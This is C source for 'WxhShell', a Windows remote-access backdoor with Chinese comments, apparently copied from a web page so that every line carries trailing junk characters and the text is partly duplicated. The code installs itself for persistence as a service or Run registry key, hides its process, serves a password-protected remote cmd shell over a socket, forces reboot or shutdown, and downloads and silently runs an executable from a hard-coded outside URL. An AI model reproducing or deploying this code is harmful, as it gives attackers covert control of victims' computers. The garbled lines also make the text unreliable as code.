    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 3UdU"d[75  
    if(Boot(SHUTDOWN)) 8p&kLo&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z v>Oh#  
    else { -."kq.m*  
    closesocket(wsh); ?WQNIX4  
    ExitThread(0); x?#I4RJH;  
    } *i^`Dw^~y  
    break; F|>05>8  
    } H+ lX-,  
  // 获取shell .2 0V 3  
  case 's': { +Mk#9 r  
    CmdShell(wsh); &iNwvA%9D  
    closesocket(wsh); O sQkA2=  
    ExitThread(0); Tk*w3c"$  
    break; !nd*W"_gQ/  
  } XM/vDdR  
  // 退出 qj!eLA-aD  
  case 'x': { |Y},V_@d  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 5+- I5HX|~  
    CloseIt(wsh); 0w %[  
    break; lwT9~Hyp  
    } T-gk<V  
  // 离开 & ze>X  
  case 'q': { x&Cp> +i  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Z o=]dBp.  
    closesocket(wsh); i%-Ld Ka}"  
    WSACleanup(); #DFV=:|~  
    exit(1); ('C7=u&F  
    break; wJeG(h  
        } Y ya`&V  
  } maNW{"1  
  } t P"\J(x  
ff e1lw%  
  // 提示信息 ,qQG;w,m  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); sbj";h=E  
} RO&H5m r%@  
  } ;apzAF  
[q*%U4qGO  
  return; ;@3FF  
} >?lOE -}^  
4/e60jA  
// shell模块句柄 kW@,$_cK  
int CmdShell(SOCKET sock) uH@FU60  
{ R@iUCT^$  
STARTUPINFO si; MFt*&%,JX  
ZeroMemory(&si,sizeof(si)); cXnKCzSxZq  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; $HJTj29/  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; lFSe?X^  
PROCESS_INFORMATION ProcessInfo; "*z_O  
char cmdline[]="cmd"; ememce,Np  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); b'YE9E  
  return 0; !#2=\LUC  
} FLZWZ;  
"LhvzM-<8  
// 自身启动模式 k]A8% z  
int StartFromService(void) ^|!I +  
{ 5O/i3m26  
typedef struct N8r*dadDd  
{ R\|lt)h  
  DWORD ExitStatus; N|g;W  
  DWORD PebBaseAddress; 5kypMHJm  
  DWORD AffinityMask; iRV~Il#~!  
  DWORD BasePriority; ;`YkMS`=W  
  ULONG UniqueProcessId; 8eBOr9l+j  
  ULONG InheritedFromUniqueProcessId; H)w(q^i  
}   PROCESS_BASIC_INFORMATION; S~Z|PLtF  
oR1^/e  
PROCNTQSIP NtQueryInformationProcess; 5yZTcS z  
-]uUYe c  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; I<td1Y1q  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; I` K$E/ns  
O,2~"~kF  
  HANDLE             hProcess; i':i_kU  
  PROCESS_BASIC_INFORMATION pbi; gi/@ j  
$2^`Uca  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); JA)?p{j  
  if(NULL == hInst ) return 0; tR0pH8?e"  
z4#(Ze@u~_  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); uMb> xxf  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); WEg6Kz  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); m([(:.X/IX  
oX@ya3!Pz  
  if (!NtQueryInformationProcess) return 0; eN? Y7  
TL$EV>Nr  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); D4Al3fe  
  if(!hProcess) return 0; `;|5  
^9OUzTF  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; >_dx_<75&  
.nu @ o40  
  CloseHandle(hProcess); T<3BT  
fKC3-zm  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); =<r8fXWZ  
if(hProcess==NULL) return 0; 4/kv3rv  
5!YA o\S  
HMODULE hMod; %J:SO_6  
char procName[255]; gWABY%!}  
unsigned long cbNeeded; v~3B:k:?l  
3f " %G\  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); vK7\JZ>  
0~wF3BgV  
  CloseHandle(hProcess); 9SlNq05G7  
eI.2`)>  
if(strstr(procName,"services")) return 1; // 以服务启动 $Nrm!/)*'}  
X"gCR n%tn  
  return 0; // 注册表启动 pLa[}=  
} NjPDX>R\K  
8dD2  
// 主模块 <!-sZ_qq  
int StartWxhshell(LPSTR lpCmdLine) W?yd#j  
{ DFhXx6]  
  SOCKET wsl; e^4 p%  
BOOL val=TRUE; sDr/k`>  
  int port=0; =S'%`]f?  
  struct sockaddr_in door; Gb[`R}^dq  
;6@r-r  
  if(wscfg.ws_autoins) Install(); 2?m.45`  
:j|IP)-f  
port=atoi(lpCmdLine); gqXS~K9t  
6S6f\gAM  
if(port<=0) port=wscfg.ws_port; <FMq>d$\  
[b{CkX06  
  WSADATA data; aQ^umrj@?9  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; )"f N!9,F  
4'$g(+z  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ?D,=37  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); J PyOG _h  
  door.sin_family = AF_INET; %ms'n  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 1Je9,dd6  
  door.sin_port = htons(port); /bj <Ft\  
o"wXIHUmV  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { M8H5K  
closesocket(wsl); +^*iZ6{+7  
return 1; PJxH7|GSi  
} '(? uPr  
}:0uo5 B7  
  if(listen(wsl,2) == INVALID_SOCKET) { N#lDW~e'  
closesocket(wsl); 'r(1Nj  
return 1; -a*K$rnB  
} [I4ege>  
  Wxhshell(wsl); Kvsh  
  WSACleanup(); hcVJBK  
eh1Q7 ~  
return 0; o6f_l^+H  
E_KCNn-f  
} UAR5^  
ycFio ,  
// 以NT服务方式启动 GgaTn!mJt  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Dnc(l(  
{ 1n%?@+W  
DWORD   status = 0; .B#l5pfvP  
  DWORD   specificError = 0xfffffff; 3@5=+z~CW  
["\;kJ.  
  serviceStatus.dwServiceType     = SERVICE_WIN32; +,~z Wv1v  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 0]D0{6x8  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 8|E'>+ D_-  
  serviceStatus.dwWin32ExitCode     = 0; JS}{%(B  
  serviceStatus.dwServiceSpecificExitCode = 0; XLMb=T~S  
  serviceStatus.dwCheckPoint       = 0; s1|/S\   
  serviceStatus.dwWaitHint       = 0; q+B&orp  
!`!| Zw  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ~Lc066bLeq  
  if (hServiceStatusHandle==0) return; Y+K|1r  
Vh}SCUof'  
status = GetLastError(); .>z][2oz  
  if (status!=NO_ERROR) eIl]oC7*  
{ xBu1Ak8w  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; R/"x}B1d  
    serviceStatus.dwCheckPoint       = 0; qfcYE=  
    serviceStatus.dwWaitHint       = 0; "c}@V*cO<d  
    serviceStatus.dwWin32ExitCode     = status; 5*[2yKsTi  
    serviceStatus.dwServiceSpecificExitCode = specificError; 7ugZE93!  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); O;7)Hjwt  
    return; [ sd;`xk  
  } qj cp65^  
]%Zz \Q  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; NEa>\K<\  
  serviceStatus.dwCheckPoint       = 0; r>bJ%M}  
  serviceStatus.dwWaitHint       = 0; zhY+x<-  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); *T0q|P~o%  
} k6=nO?$  
gm9mg*aM  
// 处理NT服务事件,比如:启动、停止 E^U0f/5 m  
VOID WINAPI NTServiceHandler(DWORD fdwControl) s+:=I e  
{ iAa;6mH  
switch(fdwControl) \M'-O YH_[  
{ dMR3)CO  
case SERVICE_CONTROL_STOP:  |W<+U  
  serviceStatus.dwWin32ExitCode = 0; Gycm,Cy  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; +2 Af&~T  
  serviceStatus.dwCheckPoint   = 0; _)]CzBRq\6  
  serviceStatus.dwWaitHint     = 0; !x'/9^i~v  
  { Z,iHy3`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); u1xSp<59C  
  } A)ipFB 6K  
  return; u.rY#cS,-R  
case SERVICE_CONTROL_PAUSE: wf1lyS  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; &~CY]PN.  
  break; B c2p(z4  
case SERVICE_CONTROL_CONTINUE: Pz$R(TV  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; q\\gpCgp  
  break; vFEQ7 qI  
case SERVICE_CONTROL_INTERROGATE: /  g 2b  
  break; IHRGw  
}; kA7mLrON  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); IKie1!ZU{"  
} cyJG8f  
}^B6yWUN  
// 标准应用程序主函数 9)VF 1LD  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) -GLMmZJt  
{ ]~Y<o  
)?wJF<[_#  
// 获取操作系统版本 ZoArQ(YFy  
OsIsNt=GetOsVer(); tDAhyy73  
GetModuleFileName(NULL,ExeFile,MAX_PATH); "fq{Y~F%`  
C!7>1I~5  
  // 从命令行安装 <]G]W/eB'  
  if(strpbrk(lpCmdLine,"iI")) Install(); ;NlWb =  
Ie%EH  
  // 下载执行文件 /r_~: 3F  
if(wscfg.ws_downexe) { ^U]UqX`  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) SM@QUAXO  
  WinExec(wscfg.ws_filenam,SW_HIDE); t|m=J`a{q;  
} q{+_ <2U|  
10H)^p%3+  
if(!OsIsNt) { <oz!H[!  
// 如果时win9x,隐藏进程并且设置为注册表启动 zRPeNdX  
HideProc(); vB+ '  
StartWxhshell(lpCmdLine); Zdn~`Q{  
} "1, pHR-+R  
else 0T46sm r  
  if(StartFromService()) 'fPdpnJ<  
  // 以服务方式启动 @Vu(XG  
  StartServiceCtrlDispatcher(DispatchTable); ~H!S,"n^,P  
else "+unS)M;Y  
  // 普通方式启动 ;t+ub8  
  StartWxhshell(lpCmdLine); jbR0%X2  
E\C9|1)  
return 0; K(q-?n`<  
} *YlV-C<}W"  
>$2V%};  
"le>_Ze_>|  
p0pWzwTG3  
=========================================== @}kv-*  
xC tmXo  
E }ZJ)V7  
A2|Ud_  
)Y)pmjZaG  
xp Og8u5  
" /JT#^Y  
a.z;t8  
#include <stdio.h> /q5:p`4{J  
#include <string.h> IUwm}9Q!  
#include <windows.h> ]Zmj4vK J  
#include <winsock2.h> <mAhr  
#include <winsvc.h> gy nh#&r  
#include <urlmon.h> uIZWO.OdU  
"U7qo}`I  
#pragma comment (lib, "Ws2_32.lib") 5YrBW:_OI  
#pragma comment (lib, "urlmon.lib") }*L(;r)q  
<qGu7y"  
#define MAX_USER   100 // 最大客户端连接数 y{N-+10z  
#define BUF_SOCK   200 // sock buffer q&d~ \{J  
#define KEY_BUFF   255 // 输入 buffer :^(>YAyHj^  
HbW0wuI  
#define REBOOT     0   // 重启 QcpXn4/*  
#define SHUTDOWN   1   // 关机 l<);s  
A,4fEmWM  
#define DEF_PORT   5000 // 监听端口 ){UcS/GI=  
&-;5* lg)0  
#define REG_LEN     16   // 注册表键长度 NC38fiH_N  
#define SVC_LEN     80   // NT服务名长度 7.`fJf?  
db6mfx i  
// 从dll定义API 1/"WD?a  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); rdJR 2  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ~ yX2\i"  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Qubp9C#r  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); y99mC$"Ee`  
 #B\" '8#  
// wxhshell配置信息 AA7C$;Z15~  
struct WSCFG { pa# IJ  
  int ws_port;         // 监听端口 k1!@^A  
  char ws_passstr[REG_LEN]; // 口令 Sy 'Dp9!|  
  int ws_autoins;       // 安装标记, 1=yes 0=no o>VVsH  
  char ws_regname[REG_LEN]; // 注册表键名 rOVVL%@QqJ  
  char ws_svcname[REG_LEN]; // 服务名 [1u-Q%?#  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Gn&4V}F  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 !@v7Zu43,  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 @mfEKU!  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Q@HopiC  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" eow'K 821A  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 )vSRHE  
^ (FdXGs[  
}; v;ZA 4c  
wH@Ns~[MA  
// default Wxhshell configuration :eCU/BC4  
struct WSCFG wscfg={DEF_PORT, pfI"36]F  
    "xuhuanlingzhe", m|G'K[8  
    1, T~='5iy|  
    "Wxhshell", q7E~+p(>(  
    "Wxhshell", (I./ Uu%  
            "WxhShell Service", p}~qf  
    "Wrsky Windows CmdShell Service", % oo2/aF  
    "Please Input Your Password: ", pJtex^{!:  
  1, %ALwz[~]  
  "http://www.wrsky.com/wxhshell.exe", 1{JV}O  
  "Wxhshell.exe" f=9|b  
    }; qXwPDq/  
&mx)~J^m  
// 消息定义模块 Dg?:/=,=9r  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; \QCJ4}\CS  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Dbz3;t  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ^t#&@-'(d  
char *msg_ws_ext="\n\rExit."; VFys.=  
char *msg_ws_end="\n\rQuit."; H7DJ~z~J  
char *msg_ws_boot="\n\rReboot..."; mV pMh#zw  
char *msg_ws_poff="\n\rShutdown..."; PGoh1Uu  
char *msg_ws_down="\n\rSave to "; J G{3EWXR  
Kh_Lp$'0uM  
char *msg_ws_err="\n\rErr!"; 2_Z ? #Y  
char *msg_ws_ok="\n\rOK!"; (R("H/6xs  
53n^3M,qK  
char ExeFile[MAX_PATH]; ;67x0)kn  
int nUser = 0; LBZ+GB  
HANDLE handles[MAX_USER]; !/]WrGqbS  
int OsIsNt; |mw.qI|  
=UfsL%  
SERVICE_STATUS       serviceStatus; k5kxQhPf  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; |0f>aZ  
r<d_[?1N  
// 函数声明 jIyB  
int Install(void); ~S,,w1`  
int Uninstall(void);   #^A*  
int DownloadFile(char *sURL, SOCKET wsh); c$yk s  
int Boot(int flag); CTZ8Da^  
void HideProc(void); VG ;kPzze  
int GetOsVer(void); "[ZB+-|[0  
int Wxhshell(SOCKET wsl); /x p|  
void TalkWithClient(void *cs); }xh$T'M8  
int CmdShell(SOCKET sock); oc>{?.^  
int StartFromService(void); ,1+y/{S  
int StartWxhshell(LPSTR lpCmdLine); )`O~f_pIC  
.0`m\~L  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); !'9Feoez  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 9~/J35  
<"my^  
// 数据结构和表定义 y1+*6|  
SERVICE_TABLE_ENTRY DispatchTable[] = z?*w8kU&>  
{ N@Uy=?)ZJ  
{wscfg.ws_svcname, NTServiceMain}, LAS'u "c|  
{NULL, NULL} 2so!  
}; 7%|~>  
J`].:IOh  
// 自我安装 oUQ,61H  
int Install(void) ^Xq 6:  
{ TI,&!E?;  
  char svExeFile[MAX_PATH]; FwkuC09tI  
  HKEY key; HOJs[mqB%  
  strcpy(svExeFile,ExeFile); `3WFjU 5a  
WGZ9B^A  
// 如果是win9x系统,修改注册表设为自启动  jYmR  
if(!OsIsNt) { n|RJ;d30Q  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ORJIo  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); dQA'($  
  RegCloseKey(key); 9CWezI+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )9"_J9G  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); r\-uJ~8N  
  RegCloseKey(key); zGkS^Z=(  
  return 0; |8l<$J  
    } @v)p<r^M">  
  } :2rZcoNb.  
} 7>))D'l57  
else { b)qoh^  
Ch|jtVeuyJ  
// 如果是NT以上系统,安装为系统服务 f$Fhf ?'  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); R5 - @  
if (schSCManager!=0) P"IPcT%Ob%  
{ %u5L!W&  
  SC_HANDLE schService = CreateService q=Sgk>NA  
  ( %Q fO8P  
  schSCManager, e]$}-i@#  
  wscfg.ws_svcname, 1Vrh4g.l  
  wscfg.ws_svcdisp, QLvHQtzwX  
  SERVICE_ALL_ACCESS, J$GUB3 G  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , <oT^A|JFj  
  SERVICE_AUTO_START, %^4CSh  
  SERVICE_ERROR_NORMAL, ;RC{<wBTx  
  svExeFile, \F/hMXDlJ  
  NULL, x7!L{(E3  
  NULL, %\dz m-d(C  
  NULL, <66X Xh.  
  NULL, %In A+5s`  
  NULL c4^ks&)'  
  ); g"p%C:NN  
  if (schService!=0) 4~Vx3gEV:  
  { =JK@z  
  CloseServiceHandle(schService); g9}DnCT*.  
  CloseServiceHandle(schSCManager); /_AnP  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 8hOk{xs8  
  strcat(svExeFile,wscfg.ws_svcname); t(NI-UXBp  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { g(qJN<R C/  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 7vrl'^1  
  RegCloseKey(key); |Mu p8(gCk  
  return 0; [B#R94  
    } 'MUv5 Th  
  } 4ew" %Cs*  
  CloseServiceHandle(schSCManager); 59Xi3KY  
} s E2D#D  
} 8 D3OOab  
mS$j?>m  
return 1; tl,.fjZn  
} =[cS0Sy  
Sq/ qu-%X  
// 自我卸载 =jOv] /  
int Uninstall(void) c[wla<dO*  
{ a eFe!`F  
  HKEY key; 6}[I2F_^  
r ~jm`y  
if(!OsIsNt) { \E72L5nJW  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { PV'x+bN5  
  RegDeleteValue(key,wscfg.ws_regname); 4sF"6+%5d  
  RegCloseKey(key); 5cL83FQh  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /Y W>*?"N  
  RegDeleteValue(key,wscfg.ws_regname); CrC^1K  
  RegCloseKey(key); ]@j*/IP  
  return 0; %Gz0^[+  
  } )t0$qd ]  
} {5U{8b]k  
} o{* e'4  
else { QdH\LL^8R4  
V:In>u$QJ!  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ); !eow  
if (schSCManager!=0) z&#SPH*  
{ :~e>Ob[,"  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); R]c+?4J  
  if (schService!=0) I5 o)_nc  
  { TJ_$vI  
  if(DeleteService(schService)!=0) { X^}I-M%{m  
  CloseServiceHandle(schService); ,<n}W+3  
  CloseServiceHandle(schSCManager); [')m|u~FS4  
  return 0; Se :.4<  
  } 2,$8icM  
  CloseServiceHandle(schService); Cc+t}"^  
  } l2zFKCGF(  
  CloseServiceHandle(schSCManager); @Owb?(6?  
} cs,N <|  
} 8ndYV>{f  
BZ94NOOdw  
return 1; fxgPhnaC>  
} 4ni<E*  
#C~+JL  
// 从指定url下载文件 rq8K_zp  
int DownloadFile(char *sURL, SOCKET wsh) <Swt);  
{ $UMFNjL  
  HRESULT hr; Ygm`ZA y  
char seps[]= "/"; eJF5n#  
char *token; Y>|B;Kj0(  
char *file; 6]V4muz#c  
char myURL[MAX_PATH]; bU>U14ix<  
char myFILE[MAX_PATH]; *g:4e3Iy  
Fsmycr!R  
strcpy(myURL,sURL); E ]A#Uy  
  token=strtok(myURL,seps); RkH W   
  while(token!=NULL) x[wq]q#*  
  { fM]+SMZy  
    file=token; @K\~O__  
  token=strtok(NULL,seps); q}`${3qQ3  
  } nW PF6V>  
_GXk0Ia3`  
GetCurrentDirectory(MAX_PATH,myFILE); j~2{lCT  
strcat(myFILE, "\\"); 5gb|w\N>  
strcat(myFILE, file); v~f HYa>  
  send(wsh,myFILE,strlen(myFILE),0); A;;fACF8e  
send(wsh,"...",3,0); ciFmaM.  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); q!{y&.&\  
  if(hr==S_OK) L"E7#}  
return 0; <;9 I@VYK  
else 0IwA#[m1`  
return 1; ?Nup1 !D  
2KB\1&N  
} !*s?B L  
6*PYFf`  
// 系统电源模块 B8nf,dj?X  
int Boot(int flag) -E^vLB)O  
{ bx#>BK!  
  HANDLE hToken; gFeO}otm  
  TOKEN_PRIVILEGES tkp; i2@VB6]?  
fV &KM*W*@  
  if(OsIsNt) { *"+=K,#D  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); {'XggI%  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); R?GDJ3  
    tkp.PrivilegeCount = 1; \kp8S'qVo  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 6 bomh2  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); X@$f$=  
if(flag==REBOOT) { j2Cks_$:  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 8|):`u  
  return 0; k52/w)Ro,$  
} o9|nJ;  
else { X^T:8npxt  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) q$ZHd  
  return 0; G3+.H  
} "9m2/D`=  
  } sNj)ZWgd>  
  else { 9i'jj N  
if(flag==REBOOT) { ; o?-yI&T*  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) =[H;orMr  
  return 0; 6TQoqH8@U  
} UR%/MV  
else { ?+_Gs;DGVE  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) txJr;  
  return 0; 8e*,jH3  
} @XgKYm   
} w zYzug  
K0H'4' I  
return 1; NE"@Bk cm  
} I3=%h  
ge,H-8'Z  
// win9x进程隐藏模块 kY&k-K\  
void HideProc(void) 'z0:Ccbj  
{ H;?{BV  
'{a/2 l  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); )LdP5z-  
  if ( hKernel != NULL ) %@wJ`F2a_  
  { )jU)_To  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); k&&2Tq  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); `s"'r !  
    FreeLibrary(hKernel); f*!j[U/r_  
  }  W,4QzcQR  
FemC Lvu  
return; PpGL/,]X  
} w Qgo N%  
||T2~Q*:y  
// 获取操作系统版本 8 BY j  
int GetOsVer(void) lphFhxJA{  
{ O}tZ - 'T  
  OSVERSIONINFO winfo; 4zASMu  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 2>|dF~"  
  GetVersionEx(&winfo); e>7]w,*|  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) u}>#Eb  
  return 1; |S_T^'<W  
  else 2VF%@p  
  return 0; B268e  
} FYOD Upn  
, `wXg  
// 客户端句柄模块 us ;YV<)d  
int Wxhshell(SOCKET wsl) y)F;zW<+  
{ 9:fOYT$8  
  SOCKET wsh; B.wYHNNV  
  struct sockaddr_in client; *meZ8DV2DH  
  DWORD myID; c;%_EN%  
wmk *h-  
  while(nUser<MAX_USER) >NqYyW,%  
{ Ot:CPm@  
  int nSize=sizeof(client); Vx(B{5>Vu  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); p`mS[bxv!  
  if(wsh==INVALID_SOCKET) return 1; ~3UQ|j  
{p)",)td  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); #,S0HDDHn  
if(handles[nUser]==0) P::TO-C  
  closesocket(wsh); 9iXeBC  
else G3{Q"^S"  
  nUser++; rFIqC:=  
  } /d0K7F  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); M8INk,si  
\[BK1JP  
  return 0; w<C#Bka  
} h "Xg;(K  
g+DzscIT  
// 关闭 socket V\6=ySx  
void CloseIt(SOCKET wsh) VOKZ dC-  
{ p%iGc<vHX  
closesocket(wsh); 3Dg,GaRk  
nUser--; WzAb|&?  
ExitThread(0); JCz@s~f\y  
} F ;{n"3<  
.EpV;xq}  
// 客户端请求句柄 Cnnh7`  
void TalkWithClient(void *cs) ^:6{22C{  
{ WxW7qt  
~;Ov-^tp  
  SOCKET wsh=(SOCKET)cs; 3Th'paMG  
  char pwd[SVC_LEN]; 09dK0H3(  
  char cmd[KEY_BUFF]; m/v9!'cMI  
char chr[1]; /4tj3B,  
int i,j; gfX\CSGy  
[!!o-9b  
  while (nUser < MAX_USER) { if}-_E<F  
`o<' x.I  
if(wscfg.ws_passstr) { =2[7 E  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); EzDk}uKY0R  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); r9X?PA0f  
  //ZeroMemory(pwd,KEY_BUFF); Ae mDJ8Y  
      i=0; J+[_Wd  
  while(i<SVC_LEN) { 4?0vso*X<:  
">~.$Jp_4  
  // 设置超时 7Ok;Lt!x  
  fd_set FdRead; 2}YOcnB  
  struct timeval TimeOut; aJYgzr,  
  FD_ZERO(&FdRead); z)'Mk[  
  FD_SET(wsh,&FdRead); n_$ :7J  
  TimeOut.tv_sec=8; el2bd :  
  TimeOut.tv_usec=0; dOqOw M.y  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Fp@TCPe#  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 6^uq?  
T^:UBjK6t{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &f!z1d-qg?  
  pwd=chr[0]; bx<RV7>0  
  if(chr[0]==0xd || chr[0]==0xa) { 6WV\}d:  
  pwd=0; g$HwxA9Gp/  
  break; .}'qUPNR  
  } &F\?  
  i++; Em?d*z  
    } JXCCTUO  
~3WM5 fv  
  // 如果是非法用户,关闭 socket 8dV=[+  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ElS9?Q+  
} W4[V}s5u  
-cZDG t  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); :80Z6F.k`  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ZaeqOVp/j  
*_R]*o!W'  
while(1) { [E+$?a=  
HHiT]S9  
  ZeroMemory(cmd,KEY_BUFF); WtViW=j'  
RMd[Yr2e  
      // 自动支持客户端 telnet标准   ?dD&p8{  
  j=0; h]og*(  
  while(j<KEY_BUFF) { 4$qWiG~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ELBa}h;  
  cmd[j]=chr[0]; ,z3{u162  
  if(chr[0]==0xa || chr[0]==0xd) { -`<kCW"  
  cmd[j]=0; K#*reJ}K  
  break; !lEY=1nHOJ  
  } >wb 'QzF:  
  j++; SGh1 DB  
    } ktj]:rCkF  
C K:y?  
  // 下载文件 Yiry["[]Q  
  if(strstr(cmd,"http://")) { T _sTC)&a  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); :/:.Kb  
  if(DownloadFile(cmd,wsh)) 8aO~/i:(.  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); s_x:T<]  
  else @7n/Q(  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qY~`8 x  
  } &C_' p{G  
